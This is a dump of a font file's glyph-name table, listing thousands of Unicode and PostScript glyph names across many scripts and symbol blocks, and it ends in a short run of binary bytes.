zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9
Aringacute
aringacuteAEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02C9uni02CAuni02CBuni02CCuni02CDuni02D0uni02D1uni02D2uni02D3uni02D6uni02D7uni02DEuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02ECuni02EEuni02EFuni02F0uni02F3uni02F7	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0343uni034Funi0358uni0360uni0361uni0370uni0371uni0372uni0373uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03CFuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0462uni0463uni0464uni0465uni046Auni046Buni046Cuni046Duni0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni048Cuni048Duni0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni049Euni049Funi04A0uni04A1uni04A2uni04A3uni04A4uni04A5uni04A6uni04A7uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B4uni04B5uni04B6uni04B7uni04BAuni04BBuni04C0uni04C1uni04C2uni04C3uni04C4uni04C7uni04C8uni04CBuni04CCuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni0510uni0511uni0512uni0513uni0514uni0515uni051Auni051Buni051Cuni051Duni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni0E3Funi10A0uni10A1uni10A2uni10A3uni10A4uni10A5uni10A6uni10A7uni10A8uni10A9uni10AAuni10ABuni10ACuni10ADuni10AEuni10AFuni10B0uni10B1uni10B2uni10B3uni10B4uni10B5uni10B6uni10B7uni10B8uni10B9uni10BAuni10BBuni10BCuni10BDuni10BEuni10BFuni10C0uni10C1uni10C2uni10C3uni10C4uni10C5uni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D15uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D24uni1D25uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D2Funi1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Cuni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni1D6Buni1D77uni1D78uni1D7Buni1D7Cuni1D7Duni1D7Euni1D7Funi1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1E9Cuni1E9Duni1E9Euni1E9Funi1EA0uni1EA1uni1EA2uni1EA3uni1EA4uni1EA5uni1EA6uni1EA7uni1EA8uni1EA9uni1EAAuni1EABuni1EACuni1EADuni1EAEuni1EAFuni1EB0uni1EB1uni1EB2uni1EB3uni1EB4uni1EB5uni1EB6uni1EB7uni1EB8uni1EB9uni1EBAuni1EBBuni1EBCuni1EBDuni1EBEuni1EBFuni1EC0uni1EC1uni1EC2uni1EC3uni1EC4uni1EC5uni1EC6uni1EC7uni1EC8uni1EC9uni1ECAuni1ECBuni1ECCuni1ECDuni1ECEuni1ECFuni1ED0uni1ED1uni1ED2uni1ED3uni1ED4uni1ED5uni1ED6uni1ED7uni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EDEuni1EDFuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE6uni1EE7uni1EE8uni1EE9uni1EEAuni1EEBuni1EECuni1EEDuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF6uni1EF7uni1EF8uni1EF9uni1EFAuni1EFBuni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni200Cuni200Duni200Euni200Funi2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023onedotenleadertwodotenleaderuni202Auni202Buni202Cuni202Duni202Euni202Funi2031minuteseconduni2034uni2035uni2036uni2037uni2038	exclamdbluni203Duni203Euni2042uni2045uni2046uni2047uni2048uni2049uni204Buni204Cuni204Duni204Euni204Funi2051uni2052uni2053uni2057uni205Funi2060uni2061uni2062uni2063uni2064uni206Auni206Buni206Cuni206Duni206Euni206Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A6Eurouni20AFuni20B1uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni2103uni2109uni210Euni210Funi2116uni2126uni2127uni212Auni212Buni2132uni2141uni2142uni2143uni2144uni214Buni214Euni2150uni2151uni2152onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2160uni2161uni2162uni2163uni2164uni2165uni2166uni2167uni2168uni2169uni216Auni216Buni216Cuni216Duni216Euni216Funi2170uni2171uni2172uni2173uni2174uni2175uni2176uni2177uni2178uni2179uni217Auni217Buni217Cuni217Duni217Euni217Funi2180uni2181uni2182uni2183uni2184uni2185uni2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universalexistentialuni2204gradientelement
notelementsuchthatuni220Cuni2210uni2213uni2214uni2215asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2223uni2224uni2225uni2226
logicaland	logicalorintersectionunionuni222Cuni222Duni2238uni2239uni223Auni223Bsimilaruni223Duni2242uni2243uni2250uni2251uni2252uni2253uni2254uni2255equivalencepropersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni228Cuni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22A6uni22A7uni22A8uni22A9uni22AAuni22ABuni22ACuni22ADuni22AEuni22AFuni22C4dotmathhouseuni2308uni2309uni230Auni230B
revlogicalnotuni2311uni2318uni2319
integraltp
integralbtuni2325uni2328uni237Duni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CFuni2423SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2638uni2639	smilefaceinvsmilefacesununi263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647spadeuni2661uni2662clubuni2664heartdiamonduni2667uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi27A1uni27C5uni27C6uni27E0uni27E8uni27E9uni27F0uni27F1uni27F2uni27F3uni27F4uni27F5uni27F6uni27F7uni27F8uni27F9uni27FAuni27FBuni27FCuni27FDuni27FEuni27FFuni2800uni2801uni2802uni2803uni2804uni2805uni2806uni2807uni2808uni2809uni280Auni280Buni280Cuni280Duni280Euni280Funi2810uni2811uni2812uni2813uni2814uni2815uni2816uni2817uni2818uni2819uni281Auni281Buni281Cuni281Duni281Euni281Funi2820uni2821uni2822uni2823uni2824uni2825uni2826uni2827uni2828uni2829uni282Auni282Buni282Cuni282Duni282Euni282Funi2830uni2831uni2832uni2833uni2834uni2835uni2836uni2837uni2838uni2839uni283Auni283Buni283Cuni283Duni283Euni283Funi2840uni2841uni2842uni2843uni2844uni2845uni2846uni2847uni2848uni2849uni284Auni284Buni284Cuni284Duni284Euni284Funi2850uni2851uni2852uni2853uni2854uni2855uni2856uni2857uni2858uni2859uni285Auni285Buni285Cuni285Duni285Euni285Funi2860uni2861uni2862uni2863uni2864uni2865uni2866uni2867uni2868uni2869uni286Auni286Buni286Cuni286Duni286Euni286Funi2870uni2871uni2872uni2873uni2874uni2875uni2876uni2877uni2878uni2879uni287Auni287Buni287Cuni287Duni287Euni287Funi2880uni2881uni2882uni2883uni2884uni2885uni2886uni2887uni2888uni2889uni288Auni288Buni288Cuni288Duni288Euni288Funi2890uni2891uni2892uni2893uni2894uni2895uni2896uni2897uni2898uni2899uni289Auni289Buni289Cuni289Duni289Euni289Funi28A0uni28A1uni28A2uni28A3uni28A4uni28A5uni28A6uni28A7uni28A8uni28A9uni28AAuni28ABuni28ACuni28ADuni28AEuni28AFuni28B0uni28B1uni28B2uni28B3uni28B4uni28B5uni28B6uni28B7uni28B8uni28B9uni28BAuni28BBuni28BCuni28BDuni28BEuni28BFuni28C0uni28C1uni28C2uni28C3uni28C4uni28C5uni28C6uni28C7uni28C8uni28C9uni28CAuni28CBuni28CCuni28CDuni28CEuni28CFuni28D0uni28D1uni28D2uni28D3uni28D4uni28D5uni28D6uni28D7uni28D8uni28D9uni28DAuni28DBuni28DCuni28DDuni28DEuni28DFuni28E0uni28E1uni28E2uni28E3uni28E4uni28E5uni28E6uni28E7uni28E8uni28E9uni28EAuni28EBuni28ECuni28EDuni28EEuni28EFuni28F0uni28F1uni28F2uni28F3uni28F4uni28F5uni28F6uni28F7uni28F8uni28F9uni28FAuni28FBuni28FCuni28FDuni28FEuni28FFuni2900uni2901uni2902uni2903uni2904uni2905uni2906uni2907uni2908uni2909uni290Auni290Buni290Cuni290Duni290Euni290Funi2910uni2911uni2912uni2913uni2914uni2915uni2916uni2917uni2918uni2919uni291Auni291Buni291Cuni291Duni291Euni291Funi2920uni2921uni2922uni2923uni2924uni2925uni2926uni2927uni2928uni2929uni292Auni292Buni292Cuni292Duni292Euni292Funi2930uni2931uni2932uni2933uni2934uni2935uni2936uni2937uni2938uni2939uni293Auni293Buni293Cuni293Duni293Euni293Funi2940uni2941uni2942uni2943uni2944uni2945uni2946uni2947uni2948uni2949uni294Auni294Buni294Cuni294Duni294Euni294Funi2950uni2951uni2952uni2953uni2954uni2955uni2956uni2957uni2958uni2959uni295Auni295Buni295Cuni295Duni295Euni295Funi2960uni2961uni2962uni2963uni2964uni2965uni2966uni2967uni2968uni2969uni296Auni296Buni296Cuni296Duni296Euni296Funi2970uni2971uni2972uni2973uni2974uni2975uni2976uni2977uni2978uni2979uni297Auni297Buni297Cuni297Duni297Euni297Funi29EBuni2A0Cuni2A0Duni2A0Euni2A2Funi2A6Auni2A6Buni2B00uni2B01uni2B02uni2B03uni2B04uni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B0Euni2B0Funi2B10uni2B11uni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2C60uni2C61uni2C63uni2C64uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C6Duni2C6Euni2C6Funi2C70uni2C71uni2C72uni2C73uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Buni2C7Cuni2C7Duni2C7Euni2C7Funi2D00uni2D01uni2D02uni2D03uni2D04uni2D05uni2D06uni2D07uni2D08uni2D09uni2D0Auni2D0Buni2D0Cuni2D0Duni2D0Euni2D0Funi2D10uni2D11uni2D12uni2D13uni2D14uni2D15uni2D16uni2D17uni2D18uni2D19uni2D1Auni2D1Buni2D1Cuni2D1Duni2D1Euni2D1Funi2D20uni2D21uni2D22uni2D23uni2D24uni2D25uni2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2EuniA644uniA645uniA646uniA647uniA650uniA651uniA654uniA655uniA656uniA657uniA698uniA699uniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA726uniA727uniA728uniA729uniA72AuniA72BuniA72CuniA72DuniA72EuniA72FuniA730uniA731uniA732uniA733uniA734uniA735uniA736uniA737uniA738uniA739uniA73AuniA73BuniA73CuniA73DuniA73EuniA73FuniA740uniA741uniA746uniA747uniA74AuniA74BuniA74EuniA74FuniA768uniA769uniA77BuniA77CuniA780uniA781uniA782uniA783uniA784uniA785uniA786uniA787uniA78BuniA78CuniA78DuniA790uniA791uniA7AAuniA7F8uniA7F9uniA7FAuniA7FBuniA7FCuniA7FDuniA7FEuniA7FFuniF400uniF401uniF402uniF403uniF404uniF405uniF406uniF407uniF408uniF409uniF40AuniF40BuniF40CuniF40DuniF40EuniF40FuniF410uniF411uniF412uniF413uniF414uniF415uniF416uniF417uniF418uniF419uniF41AuniF41BuniF41CuniF41DuniF41EuniF41FuniF420uniF421uniF422uniF423uniF424uniF425uniF426uniF428uniF6C4uniF6C5uniF6C6uniF6C7uniF6C8cyrBrevecyrbreveuniFB00uniFB03uniFB04uniFB05uniFB06uniFE00uniFE01uniFE02uniFE03uniFE04uniFE05uniFE06uniFE07uniFE08uniFE09uniFE0AuniFE0BuniFE0CuniFE0DuniFE0EuniFE0FuniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu1D434u1D435u1D436u1D437u1D438u1D439u1D43Au1D43Bu1D43Cu1D43Du1D43Eu1D43Fu1D440u1D441u1D442u1D443u1D444u1D445u1D446u1D447u1D448u1D449u1D44Au1D44Bu1D44Cu1D44Du1D44Eu1D44Fu1D450u1D451u1D452u1D453u1D454u1D456u1D457u1D458u1D459u1D45Au1D45Bu1D45Cu1D45Du1D45Eu1D45Fu1D460u1D461u1D462u1D463u1D464u1D465u1D466u1D467u1D6A4u1D6A5u1D6E2u1D6E3u1D6E4u1D6E5u1D6E6u1D6E7u1D6E8u1D6E9u1D6EAu1D6EBu1D6ECu1D6EDu1D6EEu1D6EFu1D6F0u1D6F1u1D6F2u1D6F3u1D6F4u1D6F5u1D6F6u1D6F7u1D6F8u1D6F9u1D6FAu1D6FBu1D6FCu1D6FDu1D6FEu1D6FFu1D700u1D701u1D702u1D703u1D704u1D705u1D706u1D707u1D708u1D709u1D70Au1D70Bu1D70Cu1D70Du1D70Eu1D70Fu1D710u1D711u1D712u1D713u1D714u1D715u1D716u1D717u1D718u1D719u1D71Au1D71B	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaronuni0311.caseBreve	DotaccentHungarumlautDoublegraveiogonek.dotlessuni0268.dotlessdotaccent.iuni029D.dotlessuni1E2D.dotlessuni1ECB.dotlessflorinflorinfloriniflorinl
florinflorini
florinflorinlEng.altae.alt
brailledotuni0453.MKDuni03080304uni03040308uni03070304uni03080301uni03080300uni03040301uni03040300uni03030304uni0308030Cuni03030308uni030C0307uni03030301uni03020301uni03020300uni03020303uni03060303uni03060301uni03060300uni03060309uni03020309uni03010307g.altEng.alt2uni01B7.altq.smcpx.smcp
delta.smcp
theta.smcpxi.smcp
sigma.smcpphi.smcp
omega.smcpexclamdown.casequestiondown.caseuni2E18.casegermandbls.smcpUring.ringless
Dcroat.alt
dcroat.altuni01E4.altuni01E5.alt��@�����$�d�@�$�
�'�d�'�]�}�����2��2������������G���G���}��������2�d��2��d���d���%�x
